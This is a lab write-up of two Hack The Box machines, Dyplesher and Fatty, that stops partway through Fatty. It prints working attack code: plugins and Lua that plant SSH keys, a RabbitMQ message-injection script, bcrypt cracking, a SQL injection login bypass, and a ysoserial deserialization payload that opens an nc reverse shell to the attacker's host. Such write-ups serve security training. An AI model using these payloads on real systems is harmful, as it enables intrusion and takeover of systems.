./@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b Cloning into '6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b'... Receiving objects: 100% (85/85), 30.69 KiB | 30.69 MiB/s, done. Resolving deltas: 100% (40/40), done. $ git clone ./@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35 Cloning into 'd4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35'... Receiving objects: 100% (21/21), 16.98 KiB | 16.98 MiB/s, done. Resolving deltas: 100% (9/9), done. $ git clone ./@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a Cloning into '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a'... Receiving objects: 100% (39/39), 10.46 KiB | 10.46 MiB/s, done. Resolving deltas: 100% (12/12), done. $ git clone ./@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce Cloning into '4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce'... Receiving objects: 100% (51/51), 20.94 MiB | 102.57 MiB/s, done. Resolving deltas: 100% (5/5), done. ``` So far, there were 4 repositories. After reviewing them we observed that only 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce had things usefull for us. Checking over the contents of this repository I've found that there was a DB file with users credentials. ```bash $ cat 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity/users.db �00���ableusersusersCREATE TABLE users (unique_user_id VARCHAR(130) NOT NULL UNIQUE,password VARCHAR(300) NOT NULL,encryption INT,ip VARCHAR(130) NOT NULL))=indexsqlite_autoindex_users_1user��qM�)18fb40a5c8d34f249bb8a689914fcac3$2a$10$Ixxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc6/192.168.43.81 ��$M18fb40a5c8d34f249bb8a689914fcac3% ``` After opening the file with an sqlite browser, decrypted the password with john the ripper. ```bash $ john db_pass.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status xxxxxxxxx (?) 1g 0:00:00:07 DONE (2020-06-03 20:02) 0.1404g/s 227.5p/s 227.5c/s 227.5C/s xxxxxxxxx..serena Use the "--show" option to display all of the cracked passwords reliably Session completed ``` ### Bukkit java plugin The new credential allowed us to login into At first tried to upload a jar plugin created by msfvenom, it failed due name too large while loading and also because the plugin requires an specific design for the tool consuming it. Then looked at `bukkit.yml` in the same repo as `users.db` file which results is a plugin management for minecraft Main site leads us into a how to write plugins guide Next step is to create a new maven project. ``` mvn archetype:generate -DgroupId=htb.dyplesher -DartifactId=xnaaro-plug ``` Once the project had a proper design, followed the guide to write plugins and adapted the required parts for bukkit plugins. First was `pom.xml` file. Below is an example of my configuration. ```markup 4.0.0 htb.dyplesher xnaaro jar 1.2-SNAPSHOT xnaaro http://maven.apache.org junit junit 3.8.1 test org.bukkit bukkit 1.12.2-R0.1-SNAPSHOT jar provided org.spigotmc spigot-api 1.12.2-R0.1-SNAPSHOT jar provided 1.6 1.6 bukkit-repo https://hub.spigotmc.org/nexus/content/repositories/snapshots/ org.apache.maven.plugins maven-jar-plugin 3.1.0 true lib/ htb.dyplesher.App ``` Second is `src/main/resources/plugin.yml` file which is where bukkit will read plugin name and what java class will load as main. ``` name: xnaaro main: htb.dyplesher.Xnaaro version: 1.0.2 ``` Last file is `src/main/java/htb/dyplesher.Xnaaro.java`. This is the file where the actual java code with our RCE commands will be. It requires to load JavaPlugin and extends its main class with it. Our RCE code will be executed while loading/enabling the plugin. At first tried to get a reverse shell, but it didn't work as expected because there was a firewall in the box blocking outgoing connections. After enumerating sometime the box, saw the commands were running as MinatoTW user. So, just added my SSH key into his authorized\_keys file. ```java package htb.dyplesher; import org.bukkit.plugin.java.JavaPlugin; import java.io.FileWriter; import java.io.IOException; public class Xnaaro extends JavaPlugin { @Override public void onDisable() { System.out.println ("Plugin disabled"); } @Override public void onEnable() { try { FileWriter myWriter = new FileWriter("/home/MinatoTW/.ssh/authorized_keys"); myWriter.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+P7qV7kjQ7RaxUNNeAlQkREHCUKW1kXitmHwdrpDZ+MZlfmZmYPJ75A+/m/S6JVS4qi8oCXthZX06j0x1oaGrKAsoYSuMMU+eN40gp+9I2IaPglv0407yL4fJMqy0jnb9ID+g5c+OTTH8q7tQ0wvcFLZpOnnbHVp2Autgb9Plx4fppNAQcHn11VBXTv+e48RKcC44gJULVhqp8eB8lT5O2pT5aHP58s3dggTMn5rwzxK7k6jT638rHNWUM84WhepzQb9dE3NYLX2RRdshBIIfqVeIUZfxWg5fcLjgTfdV7lb4zrJbS9KXH8UWb8NSfM73Pwy3mSFSdtNC59qTZEiN838bBSJbFtcBj8aVHWrdEjowGBzv8yYcrLC7tpFZyHxLsQsenOf/MTUKtqrqQq/tRVwcwhbYHXH2fIcU1x+pEI8qxpLHR64fiynxwrnVP/FSGchvvX3hnzkdDE3g51lvMhpkAxX30aqwd1Hmqs8YRYVA43atczbLo1TaNto3QkU= xnaaro@parrot"); myWriter.close(); } catch (IOException e) { System.out.println("An error occurred."); e.printStackTrace(); } } } ``` Finally, create a `.jar` package with maven ```bash mvn package ``` In order to raise the RCE, first we need to upload the plugin package and then enable it in the GUI. In the plugin list the name was a long hash, but using plugin name `xnaaro` in my case, properly executed it. And we have ssh access to minatotw user. ```bash $ ssh MinatoTW@10.10.10.190 -i id_rsa Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 2.0 57 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable Last login: Wed May 20 13:44:56 2020 from 10.10.14.4 ``` ## Felamos user After enumerating a couple of things, saw minato user was in wireshark group. ```bash MinatoTW@dyplesher:~$ cat /etc/group | grep -i minato MinatoTW:x:1001: wireshark:x:122:MinatoTW ``` As there is rabbitmq and memcached running, we may be able to intercept something useful from it. ```bash MinatoTW@dyplesher:~$ tshark -ni any -w data.pcap Capturing on 'any' 427 ``` Downloaded the `.pcap` file to my local. ```bash $ scp -i id_rsa MinatoTW@10.10.10.190:data.pcap . data.pcap 100% 50KB 474.6KB/s 00:00 ``` And looked at the contents, we where able to find some auth strings. ```bash $ tcpick -C -yP -r data2.pcap | grep subscribers ...subscribers.direct...... ........2.....sub.subscribers....... ........<.(...subscribers......... .<.............application/json.........{"name":"Mafalda Wuckert I","email":"cheaney@witting.com","address":"84889 Mayert Coves Apt. 784\nEast Tabithahaven, CO 07102","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Berenice Hill","email":"weimann.janet@langosh.org","address":"237 Frank Trail Suite 931\nDareside, SD 21507","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Dr. Hailie Gleichner","email":"kihn.beth@yahoo.com","address":"47786 Koelpin Hills\nNew Abigailshire, NC 91337","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Francis Glover","email":"klemke@oconnell.info","address":"872 Wilton Land\nLauraview, PA 54556","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Ryann Quigley","email":"osvaldo.oconner@gmail.com","address":"925 Ritchie Harbor\nWest Esperanza, FL 50235-9309","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Peyton Reynolds","email":"harber.mossie@cruickshank.com","address":"644 Bauch Spur\nNew Mustafa, OH 10892","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Prof. Catalina Kessler IV","email":"umorar@heathcote.com","address":"8527 Scottie Neck\nPort Charlie, WV 87089","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Dr. Roselyn Ebert","email":"gracie.klocko@kilback.com","address":"9225 Zulauf Plaza Suite 751\nEast Obiemouth, PA 90425-1897","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Edgar Osinski","email":"tressa.mills@hotmail.com","address":"92938 Toy Lock Suite 064\nNew Rossie, MT 63835","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Gennaro Romaguera","email":"denesik.salvador@yahoo.com","address":"39874 Serena Extensions Apt. 100\nEmanuelborough, MD 38535-4626","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.............application/json.........{"name":"Gennaro Romaguera","email":"denesik.salvador@yahoo.com","address":"39874 Serena Extensions Apt. 100\nEmanuelborough, MD 38535-4626","password":"B9YXOT2VmiDh","subscribed":true}. ........<.(...subscribers......... .<.........q...application/json........q{"name":"MinatoTW","email":"MinatoTW@dyplesher.htb","address":"India","password":"bixxxxxxFov","subscribed":true}. ........<.(...subscribers......... .<.........l...application/json........l{"name":"yuntao","email":"yuntao@dyplesher.htb","address":"Italy","password":"waxxxxxxob","subscribed":true}. ........<.(...subscribers......... .<.........p...application/json........p{"name":"felamos","email":"felamos@dyplesher.htb","address":"India","password":"tixxxxxxxxxg","subscribed":true}. ``` Credentials worked for felamos and yuntao users. ```bash $ ssh felamos@10.10.10.190 felamos@10.10.10.190's password: Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 05 Jun 2020 02:39:08 PM UTC System load: 0.0 Processes: 254 Usage of /: 6.9% of 97.93GB Users logged in: 1 Memory usage: 33% IP address for ens33: 10.10.10.190 Swap usage: 0% IP address for docker0: 172.17.0.1 57 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings Last login: Thu Apr 23 17:33:41 2020 from 192.168.0.103 felamos@dyplesher:~$ id uid=1000(felamos) gid=1000(felamos) groups=1000(felamos) felamos@dyplesher:~$ cat user.txt a2ff93xxxxxxxxxxxxxxxxxxx ``` ## Cuberite Once inside felamos `$HOME` directory we can see a file with some information on what to focus and how to do it. It refers to some service that read on the rabbitmq queues and open an URL. ```bash felamos@dyplesher:~$ cat yuntao/send.sh #!/bin/bash echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' > /dev/pts/{} ``` Checking running processes we can observe an interesting one executing something called Cuberite. ```bash felamos@dyplesher:/etc$ ps a PID TTY STAT TIME COMMAND 995 tty1 Ss+ 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux 1017 pts/1 Ssl+ 0:18 /home/MinatoTW/Cuberite/Cuberite 1026 pts/2 Ssl+ 2:47 /usr/bin/java -Xms512M -Xmx512M -jar paper.jar 2167 pts/0 Ss+ 0:00 /usr/bin/php /root/work/com.php 3657 pts/4 Ss 0:00 -bash 4594 pts/4 S 0:00 bash 20468 pts/4 R+ 0:00 ps a ``` Investigated a bit what the services was doing and what languages uses it, found out that the plugins were written with `lua` programming language. At first tried to read queues, but auth was required. Looking at the previous captured `.pcap` file, I was able to see another credential for AMQP. ```bash . .....capabilitiesF.....publisher_confirmst..exchange_exchange_bindingst. basic.nackt..consumer_cancel_notifyt..connection.blockedt..consumer_prioritiest..authentication_failure_closet..per_consumer_qost..direct_reply_tot..cluster_nameS....rabbit@dyplesher copyrightS....Copyright (C) 2007-2018 Pivotal Software, Inc..informationS...5Licensed under the MPL. See http://www.rabbitmq.com/.platformS....Erlang/OTP 22.0.7.productS....RabbitMQ.versionS....3.7.8....PLAIN AMQPLAIN....en_US. ......=. .......productS....AMQPLib.platformS....PHP.versionS....2.11.1.informationS.... copyrightS.....capabilitiesF.....authentication_failure_closet..publisher_confirmst..consumer_cancel_notifyt..exchange_exchange_bindingst. ExxxxxxxxxxxOp.en_US.ion.blockedt..AMQPLAIN...,.LOGINS....yuntao.PASSWORDS... ``` Then wrote a python script to connect rabbitmq and send a message into the queue. Used this guide to write the code Cuberite was expecting an URL in the message and outgoing connections was blocked by the firewall. Our only option was to use a hosted service inside the box and point the URL to localhost. ```python import pika credentials = pika.PlainCredentials('yuntao', 'Exxxxxxxxxxxxp') parameters = pika.ConnectionParameters('10.10.10.190', 5672, '/', credentials) connection = pika.BlockingConnection(parameters) body = 'http://127.0.0.1:4443/exploit.lua' channel = connection.channel() channel.queue_declare(queue='plugin_data', durable=True) channel.basic_publish(exchange='', routing_key='plugin_data', body=body) connection.close() ``` Contents of the lua exploit inside the box. Method was the same as for the low privileged shell, copy our SSH key into root's authorized\_keys ```lua file = io.open("/root/.ssh/authorized_keys", "w") file:write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+P7qV7kjQ7RaxUNNeAlQkREHCUKW1kXitmHwdrpDZ+MZlfmZmYPJ75A+/m/S6JVS4qi8oCXthZX06j0x1oaGrKAsoYSuMMU+eN40gp+9I2IaPglv0407yL4fJMqy0jnb9ID+g5c+OTTH8q7tQ0wvcFLZpOnnbHVp2Autgb9Plx4fppNAQcHn11VBXTv+e48RKcC44gJULVhqp8eB8lT5O2pT5aHP58s3dggTMn5rwzxK7k6jT638rHNWUM84WhepzQb9dE3NYLX2RRdshBIIfqVeIUZfxWg5fcLjgTfdV7lb4zrJbS9KXH8UWb8NSfM73Pwy3mSFSdtNC59qTZEiN838bBSJbFtcBj8aVHWrdEjowGBzv8yYcrLC7tpFZyHxLsQsenOf/MTUKtqrqQq/tRVwcwhbYHXH2fIcU1x+pEI8qxpLHR64fiynxwrnVP/FSGchvvX3hnzkdDE3g51lvMhpkAxX30aqwd1Hmqs8YRYVA43atczbLo1TaNto3QkU= xnaaro@parrot") file:close() ``` I had to execute the exploit a couple of times until it worked as expected. ```bash python3 exploit.py ``` We can see the lua exploit was getting retrieved by the service. ```bash felamos@dyplesher:/tmp$ python3 -m http.server 4443 Serving HTTP on 0.0.0.0 port 4443 (http://0.0.0.0:4443/) ... 127.0.0.1 - - [05/Jun/2020 16:48:31] "GET /exploit.lua HTTP/1.0" 200 - ``` ## Root And we got root user. ```bash $ ssh root@10.10.10.190 -i id_rsa Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 05 Jun 2020 04:48:35 PM UTC System load: 0.04 Processes: 263 Usage of /: 6.7% of 97.93GB Users logged in: 2 Memory usage: 40% IP address for ens33: 10.10.10.190 Swap usage: 1% IP address for docker0: 172.17.0.1 57 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings Last login: Sun May 24 03:33:34 2020 root@dyplesher:~# id uid=0(root) gid=0(root) groups=0(root) root@dyplesher:~# hostname dyplesher root@dyplesher:~# cat root.txt dfd34xxxxxxxxxxxxxxxxxxxxx ``` This box took me 25 hours of work, most of the time was in the enumeration part, once you know the behaviour of the services is easily accomplished after some research and development guides. Hope you liked it, happy hacking! # Fatty HTB writeup ![Fatty Image](https://www.hackthebox.eu/storage/avatars/434a84b479e2121f8dbf2c7c56becffd.png) Fatty is an insane rated box in Hack the Box, it was extremely fun to do even though it took me \~50 hours of work to root it. This box will make you reverse engineer a java client and a server, write some code and learn how symlink really works behind different technologies. Got some coffee and get ready to enjoy this master piece. ## Enumeration First things first, so Nmap gave us an FTP server with anonymous access allowed, also some other ports that nmap wasn't able to discover what was running on it. ```bash # All ports result PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 1337/tcp open waste 1338/tcp open wmc-log-svc 1339/tcp open kjtsiteserver # Script results PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar | -rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt | -rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt |_-rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.31 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 fd:c5:61:ba:bd:a3:e2:26:58:20:45:69:a7:58:35:08 (RSA) |_ 256 4a:a8:aa:c6:5f:10:f0:71:8a:59:c5:3e:5f:b9:32:f7 (ED25519) 1337/tcp open ssl/waste? |_ssl-date: 2020-06-05T21:04:08+00:00; +53s from scanner time. 1338/tcp open ssl/wmc-log-svc? |_ssl-date: 2020-06-05T21:04:08+00:00; +53s from scanner time. 1339/tcp open ssl/kjtsiteserver? |_ssl-date: 2020-06-05T21:04:08+00:00; +53s from scanner time. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` ## Foothold Nmap told us the FTP service allowed anonymous access, is time to connect and see whats on the files ```bash $ ftp 10.10.10.174 Connected to 10.10.10.174. 220 qtc's development server Name (10.10.10.174:xnaaro): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar -rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt -rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt -rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt 226 Directory send OK. ``` First text file suggest the server has some kind of vulnerability and they changed default connection port but the fatty-client was updated with such changes. ```bash $ cat note.txt Dear members, because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337. Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice if you use different servers from day to day to balance the server load. We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of doing it yourself ;) Best regards, qtc ``` Second note told us they are using Java version 8 ```bash $ cat note2.txt Dear members, we are currently experimenting with new java layouts. The new client uses a static layout. If your are using a tiling window manager or only have a limited screen size, try to resize the client window until you see the login from. Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11 per default, you may need to install it manually. Best regards, qtc ``` Third note gave us login credentials. ```bash $ cat note3.txt Dear members, We had to remove all other user accounts because of some seucrity issues. Until we have fixed these issues, you can use my account: User: qtc Pass: clarabibi Best regards, qtc ``` One we gathered some information, first tried to directly connect with fatty-client which gave us connection error since the port whose trying to connect was not opened. ## Reverse engineer and rebuild package At this point only thing we where able to do is to decompile the .jar package with `jd-gui` program and export the resulting contents into our computer. First thing we need is to create a correct maven package layout. To do this copy `pom.xml` and `pom.properties` from `META-iNF/maven/fatty-client/fatty-client` into package's root directory. Next move all contents from `htb` to `src` folder (create it) Copy the following files from package root into a new `resources` folder. ```bash $ ls -lsrta resources total 72 4 drwxr-xr-x 8 xnaaro xnaaro 4096 Jun 13 21:29 .. 4 -rw-r--r-- 1 xnaaro xnaaro 1550 Jun 13 21:29 beans.xml 4 -rw-r--r-- 1 xnaaro xnaaro 2230 Jun 13 21:29 exit.png 8 -rw-r--r-- 1 xnaaro xnaaro 4317 Jun 13 21:30 fatty.p12 4 -rw-r--r-- 1 xnaaro xnaaro 831 Jun 13 21:30 log4j.properties 44 -rw-r--r-- 1 xnaaro xnaaro 41645 Jun 13 21:30 spring-beans-3.0.xsd 4 drwxr-xr-x 2 xnaaro xnaaro 4096 Jun 13 21:30 . ``` As we saw in the notes.txt, the server port was changed to 1337, then modify `resources/beans.xml` and change port to 1337 Last step is to build the package with maven, it needs to be done with java version 8. ```bash JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64/ mvn package ``` Add server.fatty.htb to /etc/hosts. Run the client and connect to the server using credentials from note3.txt ```bash /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar target/fatty-client.jar ``` After enumerating the server with `qtc` permissions, we saw the following file which informs qtc that only his user is enabled and all admin users removed, this is useful information for later steps. Contents of `-> mail -> dave.txt` ```bash Hey qtc, until the issues from the current pentest are fixed we have removed all administrative users from the database. Your user account is the only one that is left. Since you have only user permissions, this should prevent exploitation of the other issues. Furthermore, we implemented a timeout on the login procedure. Time heavy SQL injection attacks are therefore no longer possible. Best regards, Dave ``` ## Directory Traversal At this point we had no idea of how to proceed as we still missing some server behavior knowledge prior exploitation of other vulnerabilities. Now is time to check if directory traversal was a thing and it was, we were able to see some other files in a previous directory, but due some server side input validation only a single directory traversal was possible. In the traversed directory with `../////////` payload we can see a file called `fatty-server.jar` Modify `src/htb/fatty/client/methods/Invoker.java`, might need to import some other classes at the begining of the java file. Modified code for directory traversal file listing ```java public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException { String methodName = (new Object() { }).getClass().getEnclosingMethod().getName(); logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'."); if (AccessCheck.checkAccess(methodName, this.user)) { return "Error: Method '" + methodName + "' is not allowed for this user account"; } this.action = new ActionMessage(this.sessionID, "files"); this.action.addArgument("..///////"); sendAndRecv(); if (this.response.hasError()) { return "Error: Your action caused an error on the application server!"; } return this.response.getContentAsString(); } ``` Modified code for file download ```java import java.io.File; import java.io.FileOutputStream; public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException { String methodName = (new Object() { }).getClass().getEnclosingMethod().getName(); logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'."); if (AccessCheck.checkAccess(methodName, this.user)) { return "Error: Method '" + methodName + "' is not allowed for this user account"; } this.action = new ActionMessage(this.sessionID, "open"); this.action.addArgument("../////////"); this.action.addArgument("fatty-server.jar"); this.action.send(this.serverOutputStream); this.message = Message.recv(this.serverInputStream); this.response = new ResponseMessage(this.message); FileOutputStream fop = null; File file; String content = ""; try { file = new File("fatty-server.jar"); fop = new FileOutputStream(file); if (!file.exists()) { file.createNewFile(); } byte[] contentInBytes = this.response.getContent(); fop.write(contentInBytes); fop.flush(); fop.close(); System.out.println("Done"); } catch (IOException e) { e.printStackTrace(); } finally { try { if (fop != null) { fop.close(); } } catch (IOException e) { e.printStackTrace(); } } if (this.response.hasError()) { return "Error: Your action caused an error on the application server!"; } String response = ""; return response; } ``` Compile the client with maven again, login and click filebrowser on any folder, then click open. At this point fatty-server.jar file should be already downloaded Decompile server contents with `jd-gui`. Some of the main thing noticed was a database connection. Also on `checkLogin` method we can see an SQL injection was possible as no input sanization was done. ```java public class FattyDbSession { private static String url = "jdbc:mysql://database.fatty.htb:3306/Fatty"; private Connection conn; private FattyLogger logger = new FattyLogger(); public FattyDbSession() throws SQLException { Connection conn = null; conn = DriverManager.getConnection(url, "qtc", "securedatabasepasswordpoweredbyclarabibi!"); this.conn = conn; } -------------------------------- public User checkLogin(User user) throws LoginException { Statement stmt = null; ResultSet rs = null; User newUser = null; try { stmt = this.conn.createStatement(); rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'"); -------------------------------- } ``` ## SQL injection At first tried many different SQLi payload but got no success, so build a local lab to emulating server side code and client connections. After a few hours analyzing server responses and modifying client code, got a sucess SQLi. This is the Client method we have to bypass `src/htb/fatty/shared/resources/User.java` As we can see client side code will create a hash of `username:password+string` so our payload was not being executed properly. ```java public User(int uid, String username, String password, String email, Role role) { this.uid = uid; this.username = username; String hashString = this.username + password + "clarabibimakeseverythingsecure"; MessageDigest digest = null; try { digest = MessageDigest.getInstance("SHA-256"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8)); this.password = DatatypeConverter.printHexBinary(hash); ``` Then found out I could send the hashed string of my choice directly modifying client side code. Below is the code used to pass the hashed password instead of the generated in User.user method `src/htb/fatty/shared/message/LoginMessage.java` ```java public void send(OutputStream output) throws MessageBuildException, IOException { String transfer = this.user.getUsername() + ":" + "5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046"; setPayload(transfer.getBytes()); byte[] message = getBytes(); output.write(message); } } ``` All this information was after hours of debugging locally, this write up is not a step by step guide but rather a how to do some parts. You might need to investigate a bit more the code to fully understand and fix the code. The payload used on username during logging was this, password field could be left empty as we hardcoded the hash in code. The payload will return looked up server side data from the database and hardcode a role value with `'admin'`, this way we got admin role on the app without breaking other people fun changing content on the database. ```sql ' UNION SELECT all id,username,email,password,'admin' from users where username='qtc ``` And we got a successful login with admin privileged. ```bash [AWT-EventQueue-1] INFO infoLogger - [+] Connection process finished. [AWT-EventQueue-1] INFO infoLogger - ' UNION SELECT all id,username,email,password,'admin' from users where username='qtc [AWT-EventQueue-1] INFO infoLogger - E42C818F80D72ED7E5752AE36777F97628942A23B8F4BBDA3C1A9068409549A9 [AWT-EventQueue-1] INFO infoLogger - ' UNION SELECT all id,username,email,password,'admin' from users where username='qtc:5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046 [AWT-EventQueue-1] INFO infoLogger - [+] Login successful! ``` ## Java object serialization + RCE Reviewing server side code was very clear that RCE was through object de-serialization on changePW method but the method was not fully implemented in client side code. Now is time to make the client change password work to pass a new password in the client GUI `src/htb/fatty/client/gui/ClientGuiTest.java` ```java pwChangeButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { String response = ""; String new_pass = textField_2.getText(); try { response = ClientGuiTest.this.invoker.changePW(ClientGuiTest.this.currentFolder, new_pass); } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0); } catch (IOException e2) { JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0); } textPane.setText(response); } }); ``` And modify the `changePW` method to not encode the input and directly pass our base64 encoded payload `src/htb/fatty/client/methods/Invoker.java` ```java public String changePW(String username2, String newPassword) throws MessageParseException, MessageBuildException, IOException { String methodName = (new Object() { }).getClass().getEnclosingMethod().getName(); logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'."); if (AccessCheck.checkAccess(methodName, this.user)) { return "Error: Method '" + methodName + "' is not allowed for this user account"; } String username = "qtc"; User user = new User(username, newPassword); this.action = new ActionMessage(this.sessionID, "changePW"); this.action.addArgument(new String(newPassword)); sendAndRecv(); if (this.response.hasError()) { return "Error: Your action caused an error on the application server!"; } return this.response.getContentAsString(); } ``` At this point we were able to pass a base64 encoded payload during password change, but we still need to find a proper payload. So at `pom.xml` in server source we saw `commons-collections` 3.1 library is used. ```markup commons-collections commons-collections 3.1 ``` Then used `ysoserial` java app from github to create the payload with a reverse shell using CommonCollections7 and encoded in base64. ```bash $ /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ~/Downloads/ysoserial-master-SNAPSHOT.jar CommonsCollections7 "nc -nv 10.10.14.31 4443 -e /bin/sh" > payload && base64 -w0 payload rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/---------------+AC0AAAACeA== ``` Right after sending the payload on new password during password change, we got a reverse shell as `qtc` user inside a docker container. ```bash $ rlwrap nc -nvlp 4443 listening on [any] 4443 ... connect to [10.10.14.31] from (UNKNOWN) [10.10.10.174] 40519 id uid=1000(qtc) gid=1000(qtc) groups=1000(qtc) ls -lsrta total 16 4 ---------- 1 qtc qtc 33 Oct 30 2019 user.txt 4 drwxr-xr-x 1 root root 4096 Oct 30 2019 .. 4 drwxr-sr-x 1 qtc qtc 4096 Oct 30 2019 . 4 drwx------ 1 qtc qtc 4096 Oct 30 2019 .ssh /bin/sh -i 2f265ce12800:/home/qtc$ chmod 600 user.txt 2f265ce12800:/home/qtc$ cat user.txt 7fab2c31f------------------------ ``` ## Local enumeration After some hours enumerating locally and trying different exploits, found out with `pspy64` an `scp` was being done every minute from a different host. ```bash 2f265ce12800:/var/tmp$ ./pspy64 2>&1 2020/06/21 15:41:01 CMD: UID=0 PID=2571 | sshd: [accepted] 2020/06/21 15:41:01 CMD: UID=0 PID=2572 | sshd: [accepted] 2020/06/21 15:41:01 CMD: UID=1000 PID=2573 | sshd: qtc 2020/06/21 15:41:01 CMD: UID=1000 PID=2574 | scp -f /opt/fatty/tar/logs.tar 2020/06/21 15:42:01 CMD: UID=0 PID=2575 | /usr/sbin/sshd -R 2020/06/21 15:42:01 CMD: UID=22 PID=2576 | sshd: [net] 2020/06/21 15:42:02 CMD: UID=1000 PID=2577 | sshd: qtc 